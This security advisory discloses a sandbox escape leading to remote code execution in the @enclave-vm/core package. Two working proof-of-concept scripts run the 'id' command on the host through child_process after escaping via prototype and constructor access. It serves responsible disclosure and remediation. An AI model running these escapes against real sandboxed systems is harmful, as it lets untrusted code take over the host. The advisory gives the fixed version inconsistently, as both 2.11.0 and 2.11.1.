GHSA-f229-3862-4942

## Summary

It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version **2.11.1**.

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## Details

It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`).

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## Proof of Concept

### PoC 1

```js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, });

const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`);

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ```

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### PoC 2

```js const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, });

const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, };

glob.__safe_console.value.log(obj); return { result } `);

result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ```

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## Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**.

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## Remediation

The issue has been fixed in **v2.11.0** with the following hardening measures:

* Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal

All known escape paths demonstrated in the PoCs are now blocked.

Users are strongly advised to upgrade to **v2.11.1** or later immediately.

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## Credit

Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.